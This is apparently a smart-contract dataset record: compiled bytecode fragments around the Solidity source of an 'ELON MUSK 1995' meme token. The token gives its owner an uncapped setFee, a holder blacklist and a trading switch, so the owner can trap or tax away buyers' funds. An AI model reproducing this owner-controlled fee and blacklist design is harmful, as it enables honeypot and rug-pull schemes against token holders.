0a01b03168152602001336001600160a01b0316815260200160006001600160a01b03168152602001868152602001858152602001348152506002600083815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a8154816001600160a01b0302191690836001600160a01b0316021790555060408201518160010160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060608201518160020160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506080820151816003015560a0820151816004015560c08201518160050155905050336001600160a01b0316866001600160a01b03167f7ee7a1de9c18ce695c95b8b19fbdf26cce3544e3ca9e08c9f487776783d7599f838888346040518085815260200184815260200183815260200182815260200194505050505060405180910390a360035461075c90600163ffffffff61199616565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6000546001600160a01b03163314610dc9576040805162461bcd60e51b81526020600482015260166024820152752a34ba30b729bbb0b82b189d102327a92124a22222a760511b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b42811015610e40576040805162461bcd60e51b815260206004820152601860248201527f556e69737761705632526f757465723a20455850495245440000000000000000604482015290519081900360640190fd5b6000546001600160a01b03163314610e895760405162461bcd60e51b815260040180806020018281038252602381526020018061264e6023913960400191505060405180910390fd5b610e916125ec565b50600084815260026020818152604092839020835160e081018552815460ff811615158083526101009091046001600160a01b0390811694830194909452600183015484169582019590955292810154909116606083015260038101546080830152600481015460a08301526005015460c082015290610f4b576040805162461bcd60e51b815260206004820152601060248201526f6f72646572206e6f742065786973742160801b604482015290519081900360640190fd5b6000858152600260208190526040822080546001600160a81b0319168155600180820180546001600160a01b031990811690915592820180549093169092556003808201849055600482018490556005909101929092559054610fb39163ffffffff611b0316565b60035560c0810151600154610fcd9163ffffffff611b0316565b6001556001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216848460008161100557fe5b905060200201356001600160a01b03166001600160a01b031614611070576040805162461bcd60e51b815260206004820152601d60248201527f556e69737761705632526f757465723a20494e56414c49445f50415448000000604482015290519081900360640190fd5b60606110d47f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f8360800151878780806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250611d7792505050565b90508160a00151816001835103815181106110eb57fe5b602002602001015110156111305760405162461bcd60e51b815260040180806020018281038252602b8152602001806126bc602b913960400191505060405180910390fd5b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db083608001516040518263ffffffff1660e01b81526004016000604051808303818588803b15801561118f57600080fd5b505af11580156111a3573d6000803e3d6000fd5b50505050507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663a9059cbb8360200151836000815181106111e957fe5b60200260200101516040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561124057600080fd5b505af1158015611254573d6000803e3d6000fd5b505050506040513d602081101561126a57600080fd5b505161127257fe5b6112b3818686808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152505050506040850151611ec3565b505050505050565b60015481565b6000546001600160a01b0316331461130a5760405162461bcd60e51b815260040180806020018281038252602381526020018061264e6023913960400191505060405180910390fd5b6113126125ec565b50600084815260026020818152604092839020835160e081018552815460ff811615158083526101009091046001600160a01b0390811694830194909452600183015484169582019590955292810154909116606083015260038101546080830152600481015460a08301526005015460c0820152906113cc576040805162461bcd60e51b815260206004820152601060248201526f6f72646572206e6f742065786973742160801b604482015290519081900360640190fd5b611417848460008181106113dc57fe5b905060200201356001600160a01b03167f0000000000000000000000005479562f52a7f48669d4b2dfe78f4d9180dbc2fc8360800151612109565b6000858152600260208190526040822080546001600160a81b0319168155600180820180546001600160a01b03199081169091559282018054909316909255600380820184905560048201849055600590910192909255905461147f9163ffffffff611b0316565b60035560c08101516001546114999163ffffffff611b0316565b6001819055507f0000000000000000000000005479562f52a7f48669d4b2dfe78f4d9180dbc2fc6001600160a01b03166318cbafe582608001518360a0015187878660400151886040518763ffffffff1660e01b81526004018087815260200186815260200180602001846001600160a01b03166001600160a01b031681526020018381526020018281038252868682818152602001925060200280828437600081840152601f19601f820116905080830192505050975050505050505050600060405180830381600087803b15801561157257600080fd5b505af1158015611586573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156115af57600080fd5b8101908080516040519392919084600160201b8211156115ce57600080fd5b9083019060208201858111156115e357600080fd5b82518660208202830111600160201b821117156115ff57600080fd5b82525081516020918201928201910280838360005b8381101561162c578181015183820152602001611614565b50505050905001604052505050505050505050565b7f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b60008060008060006116756125ec565b5050506000938452505060026020818152604093849020845160e081018652815460ff81161515825261010090046001600160a01b0390811693820184905260018301548116968201879052938201549093166060840152600381015460808401819052600482015460a0850181905260059092015460c090940184905291959193509190565b6000546001600160a01b031633146117455760405162461bcd60e51b815260040180806020018281038252602381526020018061264e6023913960400191505060405180910390fd5b61174d6125ec565b50600084815260026020818152604092839020835160e081018552815460ff811615158083526101009091046001600160a01b0390811694830194909452600183015484169582019590955292810154909116606083015260038101546080830152600481015460a08301526005015460c082015290611807576040805162461bcd60e51b815260206004820152601060248201526f6f72646572206e6f742065786973742160801b604482015290519081900360640190fd5b611817848460008181106113dc57fe5b6000858152600260208190526040822080546001600160a81b0319168155600180820180546001600160a01b03199081169091559282018054909316909255600380820184905560048201849055600590910192909255905461187f9163ffffffff611b0316565b60035560c08101516001546118999163ffffffff611b0316565b6001819055507f0000000000000000000000005479562f52a7f48669d4b2dfe78f4d9180dbc2fc6001600160a01b03166338ed173982608001518360a0015187878660400151886040518763ffffffff1660e01b81526004018087815260200186815260200180602001846001600160a01b03166001600160a01b031681526020018381526020018281038252868682818152602001925060200280828437600081840152601f19601f820116905080830192505050975050505050505050600060405180830381600087803b15801561157257600080fd5b7f0000000000000000000000005479562f52a7f48669d4b2dfe78f4d9180dbc2fc81565b6000828201838110156119a557fe5b90505b92915050565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17815292518251600094606094938a169392918291908083835b60208310611a335780518252601f199092019160209182019101611a14565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611a95576040519150601f19603f3d011682016040523d82523d6000602084013e611a9a565b606091505b5091509150818015611ac8575080511580611ac85750808060200190516020811015611ac557600080fd5b50515b6112b35760405162461bcd60e51b81526004018080602001828103825260248152602001806126e76024913960400191505060405180910390fd5b600082821115611b0f57fe5b50900390565b604080516000808252602082019092526001600160a01b0384169083906040518082805190602001908083835b60208310611b615780518252601f199092019160209182019101611b42565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611bc3576040519150601f19603f3d011682016040523d82523d6000602084013e611bc8565b606091505b5050905080611c085760405162461bcd60e51b81526004018080602001828103825260238152602001806126996023913960400191505060405180910390fd5b505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b60208310611c8a5780518252601f199092019160209182019101611c6b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611cec576040519150601f19603f3d011682016040523d82523d6000602084013e611cf1565b606091505b5091509150818015611d1f575080511580611d1f5750808060200190516020811015611d1c57600080fd5b50515b611d70576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b5050505050565b6060600282511015611dd0576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a20494e56414c49445f504154480000604482015290519081900360640190fd5b815167ffffffffffffffff81118015611de857600080fd5b50604051908082528060200260200182016040528015611e12578160200160208202803683370190505b5090508281600081518110611e2357fe5b60200260200101818152505060005b6001835103811015611ebb57600080611e7587868581518110611e5157fe5b6020026020010151878660010181518110611e6857fe5b602002602001015161226c565b91509150611e97848481518110611e8857fe5b6020026020010151838361233a565b848460010181518110611ea657fe5b60209081029190910101525050600101611e32565b509392505050565b60005b600183510381101561210357600080848381518110611ee157fe5b6020026020010151858460010181518110611ef857fe5b6020026020010151915091506000611f10838361242a565b5090506000878560010181518110611f2457fe5b60200260200101519050600080836001600160a01b0316866001600160a01b031614611f5257826000611f56565b6000835b91509150600060028a51038810611f6d5788611fae565b611fae7f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f878c8b60020181518110611fa157fe5b6020026020010151612508565b9050611fdb7f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f8888612508565b6001600160a01b031663022c0d9f84848460006040519080825280601f01601f191660200182016040528015612018576020820181803683370190505b506040518563ffffffff1660e01b815260040180858152602001848152602001836001600160a01b03166001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612089578181015183820152602001612071565b50505050905090810190601f1680156120b65780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156120d857600080fd5b505af11580156120ec573d6000803e3d6000fd5b505060019099019850611ec6975050505050505050565b50505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663095ea7b360e01b178152925182516000946060949389169392918291908083835b602083106121865780518252601f199092019160209182019101612167565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146121e8576040519150601f19603f3d011682016040523d82523d6000602084013e6121ed565b606091505b509150915081801561221b57508051158061221b575080806020019051602081101561221857600080fd5b50515b611d70576040805162461bcd60e51b815260206004820152601e60248201527f5472616e7366657248656c7065723a20415050524f56455f4641494c45440000604482015290519081900360640190fd5b600080600061227b858561242a565b50905060008061228c888888612508565b6001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156122c457600080fd5b505afa1580156122d8573d6000803e3d6000fd5b505050506040513d60608110156122ee57600080fd5b5080516020909101516dffffffffffffffffffffffffffff91821693501690506001600160a01b038781169084161461232857808261232b565b81815b90999098509650505050505050565b600080841161237a5760405162461bcd60e51b815260040180806020018281038252602b81526020018061270b602b913960400191505060405180910390fd5b60008311801561238a5750600082115b6123c55760405162461bcd60e51b81526004018080602001828103825260288152602001806126716028913960400191505060405180910390fd5b60006123d9856103e563ffffffff6125c816565b905060006123ed828563ffffffff6125c816565b9050600061241383612407886103e863ffffffff6125c816565b9063ffffffff61199616565b905080828161241e57fe5b04979650505050505050565b600080826001600160a01b0316846001600160a01b0316141561247e5760405162461bcd60e51b81526004018080602001828103825260258152602001806126296025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b03161061249e5782846124a1565b83835b90925090506001600160a01b038216612501576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b6000806000612517858561242a565b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b6000826125d7575060006119a8565b828202828482816125e457fe5b04146119a557fe5b6040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c08101919091529056fe556e697377617056324c6962726172793a204944454e544943414c5f414444524553534553546974616e53776170563120657865637574654f726465723a20464f5242494444454e556e697377617056324c6962726172793a20494e53554646494349454e545f4c49515549444954595472616e7366657248656c7065723a204554485f5452414e534645525f4641494c4544556e69737761705632526f757465723a20494e53554646494349454e545f4f55545055545f414d4f554e545472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544556e697377617056324c6962726172793a20494e53554646494349454e545f494e5055545f414d4f554e54a2646970667358221220a36f57b5394384e9b70c97545a9a272cb3635de0bf98218002e53f826bec56c064736f6c63430006060033
[ 5, 7, 12 ]
0xf395aabb94f2923ff66b193de70aad11469831c0
/** ███████╗██╗ ██████╗ ███╗ ██╗ ███╗ ███╗██╗ ██╗███████╗██╗ ██╗ ██╗ █████╗ █████╗ ███████╗ ██╔════╝██║ ██╔═══██╗████╗ ██║ ████╗ ████║██║ ██║██╔════╝██║ ██╔╝ ███║██╔══██╗██╔══██╗██╔════╝ █████╗ ██║ ██║ ██║██╔██╗ ██║ ██╔████╔██║██║ ██║███████╗█████╔╝ ╚██║╚██████║╚██████║███████╗ ██╔══╝ ██║ ██║ ██║██║╚██╗██║ ██║╚██╔╝██║██║ ██║╚════██║██╔═██╗ ██║ ╚═══██║ ╚═══██║╚════██║ ███████╗███████╗╚██████╔╝██║ ╚████║ ██║ ╚═╝ ██║╚██████╔╝███████║██║ ██╗ ██║ █████╔╝ █████╔╝███████║ ╚══════╝╚══════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚════╝ ╚════╝ ╚══════╝ ELON MUSK likes https://twitter.com/teslaownersSV/status/1506834362439925768?s=20&t=GvbG7Ano6yS_eE2q-VzXFw https://t.me/ELONMUSK1995 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ELONMUSK1995 is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ELON MUSK 1995"; string private constant _symbol = "ELONMUSK1995"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1995000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 15; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 20; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x795b8b4F471f65e787837c4a1a1F314bd09EC245); address payable private _marketingAddress = payable(0x795b8b4F471f65e787837c4a1a1F314bd09EC245); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 39950000 * 10**9; //1% uint256 public _maxWalletSize = 199500000 * 10**9; //1% uint256 public _swapTokensAtAmount = 199500000 * 10**9; //1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610529578063dd62ed3e14610549578063ea1644d51461058f578063f2fde38b146105af57600080fd5b8063a2a957bb146104a4578063a9059cbb146104c4578063bfd79284146104e4578063c3c8cd801461051457600080fd5b80638f70ccf7116100d15780638f70ccf7146104195780638f9a55c01461043957806395d89b411461044f57806398a5c3151461048457600080fd5b806374010ece146103c55780637d1db4a5146103e55780638da5cb5b146103fb57600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461035b5780636fc3eaec1461037b57806370a0823114610390578063715018a6146103b057600080fd5b8063313ce567146102ff57806349bd5a5e1461031b5780636b9990531461033b57600080fd5b80631694505e116101a05780631694505e1461026c57806318160ddd146102a457806323b872dd146102c95780632fd689e3146102e957600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023c57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611af5565b6105cf565b005b3480156101ff57600080fd5b5060408051808201909152600e81526d454c4f4e204d55534b203139393560901b60208201525b6040516102339190611c1f565b60405180910390f35b34801561024857600080fd5b5061025c610257366004611a4b565b61067c565b6040519015158152602001610233565b34801561027857600080fd5b5060145461028c906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b3480156102b057600080fd5b50671bafa9ee16e780005b604051908152602001610233565b3480156102d557600080fd5b5061025c6102e4366004611a0b565b610693565b3480156102f557600080fd5b506102bb60185481565b34801561030b57600080fd5b5060405160098152602001610233565b34801561032757600080fd5b5060155461028c906001600160a01b031681565b34801561034757600080fd5b506101f161035636600461199b565b6106fc565b34801561036757600080fd5b506101f1610376366004611bbc565b610747565b34801561038757600080fd5b506101f161078f565b34801561039c57600080fd5b506102bb6103ab36600461199b565b6107da565b3480156103bc57600080fd5b506101f16107fc565b3480156103d157600080fd5b506101f16103e0366004611bd6565b610870565b3480156103f157600080fd5b506102bb60165481565b34801561040757600080fd5b506000546001600160a01b031661028c565b34801561042557600080fd5b506101f1610434366004611bbc565b61089f565b34801561044557600080fd5b506102bb60175481565b34801561045b57600080fd5b5060408051808201909152600c81526b454c4f4e4d55534b3139393560a01b6020820152610226565b34801561049057600080fd5b506101f161049f366004611bd6565b6108e7565b3480156104b057600080fd5b506101f16104bf366004611bee565b610916565b3480156104d057600080fd5b5061025c6104df366004611a4b565b610954565b3480156104f057600080fd5b5061025c6104ff36600461199b565b60106020526000908152604090205460ff1681565b34801561052057600080fd5b506101f1610961565b34801561053557600080fd5b506101f1610544366004611a76565b6109b5565b34801561055557600080fd5b506102bb6105643660046119d3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059b57600080fd5b506101f16105aa366004611bd6565b610a64565b3480156105bb57600080fd5b506101f16105ca36600461199b565b610a93565b6000546001600160a01b031633146106025760405162461bcd60e51b81526004016105f990611c72565b60405180910390fd5b60005b81518110156106785760016010600084848151811061063457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067081611d85565b915050610605565b5050565b6000610689338484610b7d565b5060015b92915050565b60006106a0848484610ca1565b6106f284336106ed85604051806060016040528060288152602001611de2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111dd565b610b7d565b5060019392505050565b6000546001600160a01b031633146107265760405162461bcd60e51b81526004016105f990611c72565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107715760405162461bcd60e51b81526004016105f990611c72565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107c457506013546001600160a01b0316336001600160a01b0316145b6107cd57600080fd5b476107d781611217565b50565b6001600160a01b03811660009081526002602052604081205461068d9061129c565b6000546001600160a01b031633146108265760405162461bcd60e51b81526004016105f990611c72565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461089a5760405162461bcd60e51b81526004016105f990611c72565b601655565b6000546001600160a01b031633146108c95760405162461bcd60e51b81526004016105f990611c72565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109115760405162461bcd60e51b81526004016105f990611c72565b601855565b6000546001600160a01b031633146109405760405162461bcd60e51b81526004016105f990611c72565b600893909355600a91909155600955600b55565b6000610689338484610ca1565b6012546001600160a01b0316336001600160a01b0316148061099657506013546001600160a01b0316336001600160a01b0316145b61099f57600080fd5b60006109aa306107da565b90506107d781611320565b6000546001600160a01b031633146109df5760405162461bcd60e51b81526004016105f990611c72565b60005b82811015610a5e578160056000868685818110610a0f57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a24919061199b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5681611d85565b9150506109e2565b50505050565b6000546001600160a01b03163314610a8e5760405162461bcd60e51b81526004016105f990611c72565b601755565b6000546001600160a01b03163314610abd5760405162461bcd60e51b81526004016105f990611c7256